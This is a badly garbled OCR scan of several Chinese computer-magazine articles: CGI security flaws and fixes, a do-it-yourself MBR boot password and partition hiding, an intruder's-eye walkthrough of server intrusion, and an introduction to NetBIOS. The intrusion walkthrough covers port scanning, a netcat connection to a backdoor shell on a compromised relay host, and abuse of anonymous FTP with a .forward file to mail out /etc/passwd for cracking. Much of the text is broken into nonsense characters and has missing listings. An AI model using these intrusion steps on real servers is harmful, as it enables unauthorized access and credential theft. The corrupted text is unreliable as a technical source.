滤 “$ 经 常 导 致 泄露 网 页 中 的 敏感 信息 ;没有 过 滤 “;”

经 常 导致 执行 任意 系统 指令 ; 没有 过 滤 “| 或”^\ 记 经

常 导 臻 文本 文件 攻击 ; 没有 过 滤 “ ”和 “#" 经 常 导致

SQL 数据 库 攻 击 ;没有 过 滤 ” < "和 "> “导致 的 Cross 瑟

Site Scripting 攻击 等 。

x 意外 情况 处 理 失败

这 种 错误 也 很 常见 , 如 没有 检查 文件 是 否 存在 就

直接 打开 设备 文件 导致 拒绝 服务 , 没有 检查 文件 是 否

存在 就 打开 文件 提取 内 容 进行 比较 而 绕 过 验证 , 上 下

文 攻击 导致 执行 任意 代码 等 。

x 策略 错误

这 种 错误 主要 是 由 于 编制 CGI 程序 的 程序 员 的

决策 造成 的 。 如 原始 密码 生成 机 制 脆弱 , 导致 穷 举 密

码 在 Cookie 中 明文 存放 帐号 密码 , 导 致 敏 感 信息 污

露 , 使 用 与 CGI 程序 不 同 的 扩展 名 存储 敏感 信息 导致

该 文件 被 直接 下 载 , 丢失 密码 , 模 块 在 确认 用 户 身 份

之 后 直接 让 用 户 修改 密码 而 不 是 把 密码 发 到 用 户 的

注册 信箱 。 登 陆 时 采用 帐 号 和 加 密 后 的 密码 进行 认

证 , 导致 攻击 者 不 需要 知道 用 户 的 原始 密码 就 能 够 合

陆 等 。

x 习惯 问题

程序 员 的 习惯 也 可 能 导致 安全 问题 , 如 使 用 某 些

文本 编辑 器 修改 CGI 程序 时 , 经 常会 生成 “.bak” 文

件 ,, 如果 程序 员 编辑 完 后 没有 删除 这 些 备份 文件 ,, 则

可 能 导致 CGI 源 代 码 泄露 。 另 外 , 如 果 程 序 员 总 喜欢

把 一 些 敏 感 信息 (如 帐号 密码 ) 放 在 CGI 文件 中 的 话 ,

只 要 攻击 者 对 该 CGI 文件 有 读 权 限 (或 者 利用 前 面 介

绍 的 一 些 攻击 方法 ) 就 可 能 导致 敏 感 信息 泄 露 。

x 使 用 错误

主要 是 一 些 函数 的 使 用 错误 ,如 Perl 中 的 “die” 函

数 , 如 果 没有 在 错误 信息 后 面 加 上 “\n? 的 话 , 就 极 可

能 导致 物理 路 径 油 露 。

类 其 它 错误

此 外 ,还 有 一 些 其 它 难 以 归 类 的 错误 ,如 * 非 1 即

0 导致 绕 过 认证 的 问题 。

4. 如 何 让 你 的 CGI 更 安全 ?

了 解 了 CGI 的 安全 问题 , 我 们 也 该 知道 怎么 加 强

CGI 的 安全 了 吧 ? 下 面 简单 总 结 一 下 作为 参考 :

x 使 用 最 新 版 本 的 Web 服务 器 , 安 装 最 新 的 补

本 程序 ,正确 配置 服务 器 。

x 按照 帮助 文件 正确 安装 CGI 程序 ,删除 不 必要

的 安装 文件 和 临时 文件 。

x 使 用 C 编写 CGI 程序 时 ,使 用 安全 的 函数 。

x 使 用 安全 有 效 的 验证 用 户 身 份 的 方法 。

x 验证 用 户 的 来 源 ,防止 用 户 短 时 间 内 过 多 动作

x* 推荐 过 滤 “& ”1x?~<>”、()

[]1{)}8nNnvNMO#. .An。

x 注意 处 理 好 意外 情况 。

x 实现 功能 时 制定 安全 合理 的 策略 。

x* 培养 良好 的 编程 习惯 。

x 科学 严谨 的 治学 态度 ,避免 “想当然 "的 错误

OD

2

(上 接 第 154 页 ) 该 起 始 扇 区 读 进 内 存 , 可 以 发 现 该 剧

区 与 MBR 类 似 , 在 偏 移 1BEH 到 1DDH 处 ,记录 了 两

个 分 区 表 项 :

000141310B3FBF613F00000081C3 12 00

00 00 81 62 05 3F FF FD C0 C3 12 00 00 59 19 00

第 一 表 项 对 应 于 本 分 区 , 第 二 表 项 则 对 应 于 下 一

分 区 ,各 字 节 含义 同上 。 再 读 人 6281H 处 的 第 一 扇 区 ,

两 个 分 区 表 项 为 ,

00 01 81 62 0B 3F FF FD 3F 00 00 00 C1 58 19 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

可 见 , 该 硬盘 有 2 个 逻辑 分 区 , 且 都 是 FAT32

的 。 各 尿 辑 分 区 是 通过 各 自 第 一 鹿 区 的 分 区 信息 表 串

起 来 形成 了 一 个 链 式 结构 , 使 得 D0S 能 够 管理 多 个

逻辑 分 区 。 如 果 有 8 个 逻辑 分 区 , 就 有 8 个 户 区 记录

了 分 区 信息 ,D0S 引导 时 (不 管 是 从 软盘 启动 还 是 从

硬盘 启动 ) , 都 将 搜索 这 条 链 , 为 各 轩 辑 盘 建 立 磁盘 基

数 表 。 其 实 ,D0S 的 这 种 链表 式 数据 结构 到 处 可 见 ,在

设备 管理 中 、 在 内 存 管 理 中 、 在 文件 管理 中 ,可谓 比 比

尼 是 ,大 家 应 该 很 熟悉 的 。

Partition Magic 隐藏 分 区 的 原理 很 简单 ,就 是 把 第

4 偏 移 处 的 分 区 标识 符 改 成 了 1B, 且 仅 改 了 第 一 表

项 ,作为 指针 的 第 二 表 项 没有 变化 。 这 样 ,分 区 标识 符

为 1B 的 逻辑 分 区 由 于 DOS 不 可 认 , 所 以 就 处 于 隐藏

状态 。 分 区 标识 符 古 一 个 字 节 00 - 亚 , 只 要 你 选择 得

当 , 不 要 与 其 他 操作 系统 发 生 冲 突 , 改 为 其 他 值 , Par

tition Magic 也 认 不 出 来 。

写 到 这 里 ,明白 了 隐藏 分 区 的 原理 , 就 看 如 何 发

挥 汇编 水 平 , 写 出 短小 精 悍 的 代码 了 。

以 上 是 我 平时 玩 电脑 中 的 一 点 心得 体会 , 当中 征

“有 许多 不 足 及 错误 之 处 ,请 各 路 高 人 不 音 指教 。 信和

小 编 寄 语 : PC 机 有 既然 被 称 作 个 人 电脑 , 自 然 就 是

其 使 用 者 的 私人 物品 , 电 脑 中 往往 存放 着 大 量 重要 文

件 和 使 用 者 的 隐私 , 就 像 日 记 一 样 , 没 人 会 希望 外 人 随便 翻 看 。 如 何 保证 在 使 用

者 不 在 的 时 候 防 止 列 人 进入 电脑 呢 ? 这 就 是 本 文 的 重点

如 何 防止 他 人 进入 自己 的 计算 机 ? 怎样 保护 宿舍

里 公用 机 器 上 自己 的 文件 ? 这 些 问 题 都 是 大 家 比较 关

心 的 , BBS 上 也 经 常 有 相关 的 讨论 。 现 在 我 把 自己 的

一 点 心得 体会 post 出 来 ,与 大 家 共享 。

一 、 拒 人 于 于 里 之 外

防止 别人 进入 系统 最 简单 的 方法 就 是 修改

CMOS , 设置 开机 密码 , 但 通用 密码 的 存在 使 这 项 功能

形同虚设 ,所 以 说 不 太保 险 。

比较 方便 的 就 是 借助 软件 System Commander( 以

下 简称 SC) 来 设置 密码 ,SC 的 强项 是 能 使 多 个 操作 系

统 共存 于 硬盘 , 而 且 互相 之 间 协 调 的 很 好 。 它 之 所 以

能 做 到 这 一 点 , 是 因为 安装 SC 时 , 硬 盘 的 MBR

(Master Boot Record, 主 引导 扇 区 ) 及 其 他 0 磁道 的 扇

区 被 作 了 修改 , 填 充 了 大 量 SC 引导 各 操作 系统 的 代

码 , 也 就 是 说 , 你 的 机 器 已 经 交 给 SC 了 , 在 这 里 设置

密码 比较 好 , 适合 于 你 的 个 人 电脑 。 如 果 是 宿舍 里 的

公用 电脑 , 用 SC 管理 着 Win98 和 Linux, 没 有 设 密

码 。 为 了 避免 没有 root 权限 的 人 按 错 键 进入 Linux ,而

导致 无 法 正常 关机 , 通常 的 做 法 是 另 开 一 个 SC 帐号 ,

为 其 定制 “0/S. Access Menu”,, 但 这 样 又 增加 了 每 次

都 要 根据 帐号 输入 密码 的 麻烦 。 如 何 进入 Win98 不 需

要 密码 ,而 进入 Finux 要 密码 呢 ? 其 实 很 简单 ,只 要 新

建 一 个 帐号 AutoLogin, 把 Linux 从 其 “0O7/S Access

Mena 中 去 掉 , 这 样 其 他 人 不 需 密码 即 可 使 用 Win98 ,

而 Linux 只 有 Administrator 才能 进入 。

SC 是 一 个 很 好 的 工具 软件 , 但 却 属于 “请 神 容 易

送 神 难 ” 的 那 种 。 要 把 它 干 干净 净 地 钾 掉 ,需要 对 硬盘

有 一 定 的 了 解 。 前 面 已 经 提 到 , SC 修改 了 硬盘 0 面 0

磁道 包括 MBR 的 前 6 个 扇 区 。 第 二 扇 区 是 引导 各 主

计算 机 的 加 密 。

文 / sinbad

分 区 的 程序 , 如 果 把 C 盘 根 目录 下 的 Syscmndr. sys 文

件 改名 , 这 段 程序 将 被 执行 ,出现 一 个 分 区 启动 菜单 ,

我 觉得 这 比 0S2 的 Boot Manager 简洁 多 了 。 第 3 扇 区

是 个 备份 ,第 4.5、.6 鹿 区 填充 了 大 量 的 P, 不 知 作 什么

用 的 。 这 后 5 个 扇 区 用 Debug 的 f 命 令 全 部 填 0 即 可 ,

至 于 MBR 就 在 DOS 下 打 人 “FDISKZMBR”,MBR 的

代码 部 分 就 恢复 了 。

把 SC 从 0 磁道 赶 走 以 后 , 就 可 以 操 起 Debug , 自

己 编写 加 密 代 码 了 。 这 时 你 必须 清楚 DOS 的 启动 过

程 , 并 能 够 读 懂 硬盘 MBR 中 代码 部 分 和 分 区 表 各 字

节 项 的 含义 。 我 在 这 里 简要 介绍 一 下 , 详细 内 容 请 参

考 有 关 病 毒 和 加 解密 的 书籍 。 机 器 启动 时 , 硬件 检测

成 功 后 , 通 过 INT 19H 将 硬盘 的 MBR 读 到 内 存 指 定

区 域 0: 7C00H 中 , 然后 转 到 其 中 执行 ,根据 分 区 表 的

信息 确定 启动 哪个 分 区 内 的 操作 系统 。MBR 中 有 206

个 字 节 为 空 , 插入 相应 的 代码 之 后 就 可 以 在 启动 操作

系统 之 前 实现 加 密 。 下 面 一 人 小段 程序 可 以 观察 MBR

的 内 容 :

aoler

现 中 间 有 一 大 有 段 为 00 的 部 分 , 这 将 是 我 们 加 密 程 序

的 所 在 之 处 。 用 命令 反 汇 编 , 可 以 看 到 两 个 jmp 指

令 , 找 一 个 修改 为 jmp 到 加 密 程 序 段 开始 处 ,然后 在

程序 段 末 响 再 jmp 回来 就 天 衣 无 颖 了 。 在 扇 区 内 写 代

码 , 要 注意 的 是 当时 地 址 与 执行 时 地 址 之 间 的 换算 关

系 , 搞 不 清楚 就 死机 了 。

下 面 将 介绍 如 何 把 一 段 加 密 代 码 植 人 MBR 的 详

细 过 程 ,完成 以 后 ,每 次 机 器 必须 输入 字母 $ 才 能 引导

D0S , 按 其 它 键 均 死 机 。 运 行 上 面 那 段 程序 把 MBR 读

人 人 内存, 然后 按照 以 下 步 双 实 现 (要 输入 的 部 分 是 黑

体 ) :

最 后 用 INT 13H 的 写 功能 将 内 容 写 回 MBR 就 大

功 告 成 了 。

有 一 点 需要 说 明 , 装 了 Win95/98 之 后 ,MBR 中

为 空 的 部 分 就 不 到 206 字 节 了 。 所 以 上 面 从 2e0 处 开

始 写 代码 可 能 不 适合 于 你 的 硬盘 , 我 是 装 完 Win95/

98 之 后 , 把 DOS 的 MBR 代码 部 分 找 回 来 ,把 新 的 给

覆盖 了 。 这 样 做 可 以 获得 更 多 的 空余 空间 来 嵌入 加 密

代码 ,对 操作 系统 又 没什么 影响 , 比较 不 错 。 现 在 DOS

不 多 见 了 ,需要 的 话 给 我 写 信 。 我 曾经 写 了 一 段 “ 十 位

密码 确认 ”的 代码 ,由 于 设计 了 比较 好 看 的 界面 , MBR

放 不 下 , 还 利用 了 0 磁道 的 第 2 请 区 。 过 几 天 整理 一

下 由 出 来 。

二 、 划 水 不 犯 河水

大 部 分 宿舍 里 的 计算 机 都 是 公用 的 , 如 何 保障 个

人 隐私 是 一 个 很 棘手 的 难题 。 以 前 的 DOS 时 代 , 大 家

MBR 一共 512 字 节 , 用 d 命令 4 次 看 完 , 你 会 发

通过 修改 FAT(File Allocation Table, 文 件 分 配 表 ) 和

RDT(Root Directory Table , 根 目 录 表 ) 来 实现 对 自己 目

录 的 加 密 ,还 要 用 到 一 些 磁盘 工具 ,很 是 麻烦 。 如 今 是

Win98 了 , 也 有 相关 的 加 密 工 具 出 现 。 以 前 我 兽 在

Win95 下 用 过 一 个 对 目录 加 密 的 软件 ,叫做 007, 它 好

象 把 加 密 的 目录 作 备 份 , 如 果 文 件 太 多 , 很 是 浪费 硬

盘 空 间 。 有 没有 一 个 既 简 单 且 加 密 效 果 又 好 的 办 法

呢 ?

如 果 你 经 常 折腾 硬盘 , 不 可 能 没 用 过 Partition

Magie 吧 , 它 有 个 隐藏 分 区 的 功能 比较 不 错 。 经 过 一 段

时 间 的 铬 研 , 我 终于 摘 明 白 了 它 的 实现 原理 , 现 在 就

可 以 脱离 Partition Magic , 提出 一 个 针对 宿舍 里 公用 微 ,

机 的 解决 方案 。

这 个 方案 综合 了 上 面 所 讲 的 在 MBR 中 扩 和 人 代码

的 内 容 , 大 体 如 下 : 在 扩展 分 区 中 除了 D 盘 放 公用 程

序 , 再 划 出 8 个 逻辑 盘 给 8 个 用 户 ( 一 个 100M 总 共 才

800M ,对 大 硬盘 来 说 无 所 谓 )。 启 动 Win98 前 MBR 中

的 代码 先 被 执行 ,要 求 输入 用 户 名 和 密码 ,确认 后 使

该 用 户 的 逻辑 盘 变 为 可 见 , 其 他 的 则 处 于 隐藏 状态 。

这 样 每 个 用 户 在 进入 Win98 后 ,都 拥有 各 自 的 卫 盘 来

存放 自己 的 个 人 文件 , 保密 性 比较 好 。 下 面 分 析 一 下

如 何 实现 对 逻辑 盘 的 隐藏 ,

我 们 知道 , 硬 盘 分 区 表 位 于 MBR 的 1BEH 与

IFDH 处 , 占 64 个 字 节 ,可 以 容纳 4 个 分 区 的 信息 ,每

个 表 项 占 16 个 字 市 ,其 含义 见 表 :

W so god

oa

右 !

表示

0h 表示 活动 分 区 ,0

非 活动 分 区 ,其 他 值 非法 )

本 分 区 的 起 始 磁 头号

本 分 区 的 起 始 鹿 区 号 和 起 始 柱 号

分 区 类 型 (0B - Win95 FAT32;06 - DOS

FAT16;05 -扩展 DOS; )

本 分 区 的 结束 磁头 号

本 分 区 的 结束 扇 区 号 和 结束 柱 号

本 分 区 的 相对 情 区 号

本 分 区 的 证 区 数

从 表 中 可 见 , 扩 展 DOS 分 区 标识 号 为 05, 它 在 分

区 表 中 占有 一 项 。 我 机 器 上 该 项 的 内 容 如 下 :

00 00 41 31 05 3F FF FD C0 C3 12 00 CO0 1C 2C 00

在 偏 移 2 -3 处 的 3141H 是 整个 扩展 分 区 的 起 始

扇 区 号 和 起 始 柱 号 ,用 INT 13 瑟 将 (下 转 第 152 页 )

人 侵 者 在 准备 人 侵 某 系 统 时 , 首先 要 对 它 进 行 端

口 扫描 。 所 谓 端口 扫描 , 就 是 向 一 个 目标 系统 的 大 量

已 知 端口 (这 里 的 已 知 端口 是 指 端 口 扫描 器 库 中 已 存

在 的 一 个 端口 列表 , 用 发 送信 息 包 的 方式 探测 它们 的

存在 ) 发 送信 息 包 , 来 判断 目标 系统 打开 了 哪些 服务 ,

其 各 自 的 版 本 是 什么 。 和 人 侵 者 通过 这 种 方法 寻找 相应

的 安全 漏洞 进行 攻击 。 在 被 扫描 的 端口 中 , 许多 尚未

被 利用 , 系统 没有 打开 对 这 类 端口 的 相应 服务 , 合

用 户 不 会 来 连接 这 种 端口 。 通 党 党 入侵 者 在 连接 这 些 员

口 之 前 ,也 不 能 确认 它 的 服务 是 否 开放 。 因 此 , 当 那 些

未 开放 端口 频繁 出 现 来 自 一 个 或 几 个 卫 的 连接 请

求 ,就 可 能 引起 系统 管理 员 的 高 度 注 意 , 有 经 验 的 管

理 员 应 该 明白 ,这 多 半 是 一 场 大 规模 攻击 的 前 奏 。

端口 扫描 的 方式 有 很 多 种 , 我 们 常用 的 是 TCP-

”Scan 和 UDPScan 方式 。

1.TCPScan 是 最 基本 的 扫描 方式 , 它 尝试 利用 扫

描 工 具 与 感 兴趣 的 目标 计算 机 的 每 一 个 端口 进行 连

接 。 如 果 端 口 处 于 侦 听 状态 , 那么 连接 就 能 成 功 。 否

则 ,这 个 端口 是 不 能 用 的 , 即 没有 提供 服务 。 这 种 扫描

编者 按 : 已 知 一 个 网 站 的 域名 , 利用 PING 工具 获得 它 的

JP 地 址 , 再 利用 端口 扫描 寻找 漏洞 并 入 侵 服务 器 是 当前 黑客 攻

击 网 站 的 一 种 常用 手段 ,其 对 象 不 只 是 针对 门户 和 商业 网 站 ,也

包括 个 人 网 站 。 要 杜绝 这 种 安全 隐患 ,首先 应 该 了 解 入 侵 的 简单

原理 。 为 了 更 清楚 地 说 明 IP 入 侵 的 问题 , 本 章 就 从 一 个 入 侵 者

的 角度 出 发 ,简要 冰 述 一 下 该 类 入 侵 过 程 。

文 / 姚 远

方式 的 最 大 优点 是 对 权限 没有 要 求 , 也 就 是 说 ,系统

中 的 任何 用 户 都 有 权利 使 用 它 。 它 的 另 一 个 优点 是 速

度 较 快 , 缺 点 是 系统 管理 员 很 容易 发 党 并 将 其 过 滤

掉 。

2. UDPScan 扫描 较 之 TCPScan 困难 一 些 , 且 可 信

度 不 如 TCPScan 高 , 速度 也 比较 慢 。 使 用 这 种 方法 的

前 提 是 网 络 连接 足够 好 , 也 就 是 说 网 速 够 快 。 其 优 氮

是 不 容易 引起 系统 管理 员 的 警 党 , 但 也 不 是 百分之百

保险 。

端口 扫描 工具 种 类 很 多 , 对 Windows 用 户 而 言 ,

比较 好 的 选择 是 Superscan 和 Aatools。Superscan 速度 ,

快 也 轻便 , Aatools 的 功能 较 之 Superscan 要 全 面 一 些

包括 端口 扫描 ,分 析 等 很 多 功能 。 因 为 是 菜单 界面 , 虽

然 是 英文 版 ,用 起 来 也 很 方便 ,另外 具有 很 多 功能 , 且

可 以 用 作 代 理 扫 摘 。

对 Linux 用 户 而 言 ,最 好 用 的 工具 是 Nmap。Nmap

是 在 免费 软件 基金 会 的 CNU General Publie License

(GPL) 下 发 布 的 一 款 端口 扫描 工具 , 扫 描 功 能 有 :

Ping 扫描 (Ping Sweeping)、 ”端口 扫描 (Port Scan-

ning)、 隐 项 扫描 (Stealth Scanning)、UDP 扫描 (UDP

Scanning)、 操 作 系 统 识 别 (0S Fingerprinting)、Ident 扫

描 〈Ident Scanning) 等 。 该 工具 在 www, insecure. org/

nmap 站 点 可 以 免费 下 载 。

利用 扫描 来 发 现 端口 ,是 因为 安全 隐患 存在 于 这

些 端口 提供 的 服务 中 。

比如 , Telnet(23Vtcp) 表示 远程 登陆 服务 , 它 授权

你 远程 登录 到 该 主机 , 这 个 服务 是 非常 危险 的 。 一 般

情况 下 , 人 侵 者 可 利用 它 清楚 地 了 解 目标 机 器 的 系统

及 系统 版 本 。 如 果 它 提供 匿名 登录 , 即 人 允许 使 有 FTP

方式 ,人 侵 者 就 可 以 在 服务 器 和 客户 端 之 间 传 送 敏 感

Fitp(21ZTcp) 服务 和 Telnet 一 样 , 在 目标 系统 已

开通 “人 允许 匿名 登陆 服务 ”的 情况 下 , 它 支 持 匿 名 登录

服务 , 在 有 的 机 器 上 它 还 允许 你 执行 远程 命令 。 人 侵

者 可 以 利用 这 个 缺陷 ,轻易 拿 到 Root 权限 。 不 过 此 类

情况 很 少 有 时 人 侵 方 可 能 用 它 获得 一 个 可 用 的 帐号

(Guest) ,再 利用 帐号 得 到 Root。

Finger(79ZTep) 服 务 可 以 让 入 侵 者 获得 一 些 有 用

言 息 。 例 如 用 它 来 得 到 用 户 信息 、 查 看 机 器 运行 情况

等 ,甚至 可 以 利用 所 获得 的 了 D 去 猜测 密码 。 这 种 猜测

方法 相当 原始 , 但 仍然 有 一 些 人 侵 者 通过 这 个 方式 来

获得 用 户 权限 。

人 侵 系 统 有 很 多 步骤 , 首要 的 是 明确 目标 ,也 就

是 常 说 的 “踩点 "。 首 先 , 我 们 假设 一 个 门户 网 站 ,其 地

址 是 x x x . com. cn ,一 般 情 况 下 ,这 个 站 点 不 会 是 免

费 站 点 , 因 为 有 独立 域名 的 站 点 才 会 有 自己 的 服务

器 。 人 侵 者 使 用 Windows98 系统 , 他 通过 PING 工具

(Ping 代表 Packet InerNet Groper, 即 分 组 网 间 搜 索 器 )

得 到 目标 主机 的 卫 地 址 , 再 对 这 个 正 段 进行 端口 扫

描 ( 注 :下 面 所 有 的 下 地 址 均 为 作者 虚拟 )。

首先 , 人 侵 者 在 MSDOS 或 Windows 系统 开始 菜

单 的 运行 对 话 框 里 输入 "ping 火 炎炎 . 炎 大 类 .com 俞

令 ,, Ping 工具 是 系统 默认 的 工具 , 它 将 把 目标 网 站 的

下 地 址 返回 给 使 用 者 。 这 里 类 大 类 . 关 大 大 .com 表示

选中 的 网 站 域名 。 我 们 以 Sohu 网 站 为 例 , 当 键 人

“ping”www. sohu. com 命令 , 回 车 或 按 运 行 后 , 窗口 出

现 图 1 的 结果 。

Ping 命令 将 返回 目标 主机 的 了 正 地 址

61. 135. 134. 4。 这 就 是 一 个 用 Ping 工具 找 正 的 倒

子 。 在 本 文中 , 我 们 假设 人 侵 网 站 域名 为

e 本 [下 nm

3 生 32Eines72Tnal 加 和

4 Sa 虽

吕 2 本,

上 2teS=32 二 TITIs244 9 me

De pe 品 8 ae on r

8 遇 号 aa 3o ao 日 愉 网

吕 台

地 址 返回 值 十

100. 100. 100. 100。 此 时 ,人 入侵 者 确信 已 经 成 功 地 连接

到 目标 主机 , 下 一 步 就 是 对 它 进行 端口 扫描 。 一 般 来

说 , 有 经 验 的 黑客 在 人 侵 某 台 服 务 器 前 , 会 使 用 曾经

人 侵 过 的 服务 器 来 作为 跳板 , 也 就 是 我 们 通常 所 说 的

“肉鸡 ”, 目 的 是 避免 在 目标 机 器 留 下 自己 的 真实 卫

而 被 查获 。

这 里 , 我 们 假设 人 侵 者 在 本 次 人 侵 前 , 已 经 获得

了 一 台 服 务 器 的 权限 。 他 在 中 间 机 器 的 37337 端口 预

留 一 个 Suid 的 Shell。Shell 是 用 户 与 操作 系统 的 操作

接口 , 可 以 将 它 理解 为 一 种 权限 , 就 像 Root 那样 的 最

高 权限 。37337 这 个 数字 本 身 没有 什么 意义 , 或 者 只

是 入 侵 者 喜欢 3 和 7, 在 获得 Root 权限 后 ,随手 打开

了 37337 端口 , 便于 他 此 后 非法 登录 该 服务 器 提供 方

便 。37337 端口 就 是 我 们 常 说 的 “后 门 ”。

此 时 , 入 侵 者 将 先 登录 这 全 中 间 服 务 器 。 他 在

MSDOS 或 是 Windows 窗口 的 运行 弹出 框 中 建 人 以 下

命令 行 :

C: \> nc 火 火 火 . 兴 火 类 . 炎 火 火 . 火 火 火 37337

NC 是 一 种 叫 作 Netcat 的 木马 的 命令 方式 , 人 侵

者 可 以 使 用 木马 , 前 提 是 他 已 经 将 该 木马 植 人 某 机 器

并 激活 。Telnet 到 曾经 人 侵 过 的 服务 器 某 个 端口 , 将

该 台 机 器 操纵 于 手 , 机 器 为 人 侵 者 所 操纵 , 就 成 为 黑

客 们 常 说 的 “肉鸡 ”。 现 在 , 人 侵 者 利用 Netcat 木马 ,

火炎 兴 . 炎 火 火 . 炎 兴 火 . 炎 火 火 表 示 这 人 台中 间 服 务 器

的 瑟 地 址 , 最 后 的 37337 是 被 用 来 作为 中 间 服 务 器

的 主机 上 的 一 个 端口 号 , 于 是 便 登录 到 这 人 台中 间 服 务

由 于 该 台中 间 服 务 器 使 用 Linux 操作 平台 , 人 侵

者 会 在 这 人 台 “ 肉 鸡 " 上 装 好 自己 的 工具 箱 。 工 具 箱 里 一

Www. name. com , JIP

放 3

二 要 省

斌 可 温 窜

台 补 归 - 吕

二 相信 宣 弛 号

画 泻 实 心 凡 局 呈

芋 餐 也 局 辟 瓜 &

民 亚 世 了 划 雅 愉 @

专 亚 人 、 内 把 向

扫 欢 加 上身 只 屋 糙 3

号 民 妆 :号 起 到 世上

必 9 吕 长 。S

贡 三 和 上 中 站 贡生

程 多 崩 二 2 双 扫 全

局 忆 昌 有 人 本 过 和

县 民 号 及 证 次 昌 时 8

与 亲 才 .人生 汪 二 和

m en 2

生生 刘

氏 灾 抽 吴 起 和 隆 四 可 量

S 世 蕊 骨 由

5

吓 演 各 妆 幅 全 拱

呈 忆 当世 地 唱 民

焉 全 机 畦 下 牛 于

起 就 庆 共 2

训 本 人

开征 二 区 县 环 生 区

福生 & 县 号 宪

求 下 外 站 号 = 上 提

和 雪 漆 量 .8 1 泽 联

宇 了 开明 二 呈 生起

S 必 征程 名 向

品 辑

二 se 休 踊 [2

> 路 二 软 -后 树 辣

下 押 从 悚 “2 下 式

HH 站 号 下 开外

汝 如 二 下 人 8d 录 类 三

岗 和 全 各 呈 过 人 生意 企 要 -

人 也 关 光 浊 履 < 尽 站 下 对

地 当 和 下 加 要 # 规 蝶 糙

刀 信 | 芽 攻 紧 芭

疆 妆 二 己 兴 攻

Rpe 服务 通常 会 在 Inetd 里 面 局

在 Linux 下 观看 /etc/inetd. conf 时 ,里 面 会 有

得 一 提 的 是 ,

当 你

下 的 文

3

rexd/l 卫 rpcvtecp wait root /usr/sbin/rpc. rexd

ITpc. Texd

Rpc 服务 很 容易 被 和 人 侵 者 利用 , 管理 员 可 以 在 这

行文 字 前 加 上 #, 再 使 用 Killall - HUP inetd 将 Rpe 服

务 取消 。 现 在 人 侵 者 回 到 MS - DOS 下 ,开始 Ftp 目标

网 站 ,尝试 对 服务 器 进行 匿名 登陆 :

其 中 的 用 户 名 可 以 是 Superman 或 其 它 , 只 要 匿

名 即 可 。 密 码 估 且 用 aa@ ,你 也 可 以 任意 键 人 一 个 。 尔

后 ,我 们 使 用 Pwd 命令 ,看 一 下 自己 的 位 置 ,必须 保证

自己 处 于 根 目 录 下 , 如 果 不 是 , 那 就 “cd .. ”到 根 目

录 。

这 革

一 些 敏 感 信息 过 滤 了 , 而 后 面 的 信息 不 用 去 理会

它 。 从 这 段 信息 应 该 可 以 发 现 , Drwxr -区 -x 根 目录

是 可 执行 方式 。 需 要 说 明 的 是 , 运用 相关 技术 可 利用

wu 一 2. 4,anonymous 拿 到 /etecpasswd, 如 果 要 人 侵 者 发

现 这 一 点 ,他 将 做 个 . forward :

用 Echo 和 输出 导向 就 OK 了 。 接 下 来 把 Good 上

传 到 www. name. com, 跟 上 述 同样 的 方式 再 次 Ftp 上

去 :

此 时 ,入 侵 者 寄 封 信 给 这 个 帐号 ,然后 它 会 寄 回 /

etce/passwd 文档 给 你 , 这 是 利用 系统 权限 设置 不 完善

的 漏洞 的 人 侵 。 系 统 会 以 为 寄 信 人 是 个 Root, 而 这

个 /ect/passwd 就 是 服务 器 上 最 敏感 的 东西 一 一 其 中

包括 系统 里 的 所 有 ID 和 密码 。 当 然 这 些 密码 不 以 明

文 出 现 , 它 经 过 加 密 保 护 。 人 侵 者 接 下 来 要 做 的 就 是

使 用 暴力 破解 。 他 们 用 相同 的 加 密 方 式 , 将 大 量词 汇

数字 转换 成 Passwd 的 加 密 格式 。 一 个 个 地 破译 出 来 ,

直到 得 出 管理 员 的 密码 为 止 。

在 上 面 的 例子 中 , 我 们 了 解 了 一 个 人 侵 者 通过 后

门 进入 服务 器 的 过 程 。 实 际 上 , 这 种 人 侵 并 不 是 无 法

避免 的 。

如 果 一 个 人 侵 者 用 TCPScan 方法 扫描 , 系统 管理

员 很 容易 发 觉 它 并 将 其 卫 过 滤 掉 。 因 为 目标 系统 的

Logs 文件 会 显示 一 连 串 的 连接 和 连接 出 错 的 服务 消

息 , 并 且 能 很 快 使 连接 关闭 。 系 统管 理 员 应 多 注意 自

己 的 岗位 信息 , 很 多 人 侵 就 是 销 了 马虎 的 空子 。 当 人

侵 者 试图 用 通过 下 去 连接 那些 未 知 端口 , 防 御 措施

是 记录 下 这 些 发 送 探测 信息 包 的 下 。 入 侵 者 襄 欢 在

Shell 上 设置 端口 , 或 者 也 叫 后 门 , 以 此 来 为 非法 进 人

一 个 服务 器 打开 私人 通道 。 针 对 这 种 情况 , 管理 员 应

定期 扫描 自己 的 系统 。 查 看 是 否 无 故 出 现 了 新 端口 。

关闭 没 多 大 用 处 的 端口 。 " 少 一 个 端口 , 少 一 份 危 险 ”

绝 不 是 危 言 答 听 。 本 次 的 案例 实际 上 是 利用 了 管理 员

在 权限 设置 上 的 玻 忽 , 国 内 这 样 大 意 的 管理 员 太 多

了 。 对 策 是 升级 它 的 Fip 版 本 ,严格 权限 的 设置 。 便

一 .NetBIOS 及 其 危险 浅 谈

“网 络 基 本 输入 /输出 系统 ”NetBIOS (Network

Basic InputyOutput System) 是 一 种 标准 的 应 用 程序

编程 接口 (APIT) ,1983 年 由 Sytek 公司 专 为 IBM 开发

成 功 。NetBIOS 为 网 络 通信 定义 了 一 种 编程 接口 , 但

却 没 有 详细 定义 物理 性 的 “ 帧 ”如 何在 网 上 传输 。1985

年 , IBM 创制 了 NetBIOS 扩展 用 户 接 口 (NetBIOS Ex-

tended User Interface, NetBEUTI) , 它 同 NetBIOS 接口 集

成 在 一 起 ,终于 构成 了 一 套 完整 的 协议 。 由 于 NetBIOS

接口 变 得 愈 来 愈 流行 , 所 以 各 大 厂商 也 开始 在 如

TCP/ 耳 和 IPX/ZSPX 等 协议 上 实施 NetBIOS 编程 接

口 。 到 目前 为 止 , 全 球 已 有 许多 平台 和 应 用 程序 需要

依赖 于 NetBIOG, 其 中 包括 WindowsNT 、Win-

dows2000、Windows95 和 Windows98 的 许多 组 件 。 微 软

的 客户 机 /服务 器 网 络 系统 都 是 基于 NetBIOS 的 。 在

利用 Windows NT4. 0 构建 的 网 络 系统 中 , 对 每 一 合 主

机 的 惟一 标识 信息 是 它 的 NetBIOS 名 称 。 系 统 可 以 利

用 WINS 服务 广播 及 Lmhost 文件 等 多 种 模式 将 Net-

BIOS 名 解析 为 相应 卫 地 址 ,从 而 实现 信息 通讯 。 在 这

样 的 网 络 系统 内 部 , 利用 NetBIOS 名 实现 信息 通讯 是

非常 方便 快捷 的 。 要 注意 的 是 Windows CE 并 不 支持

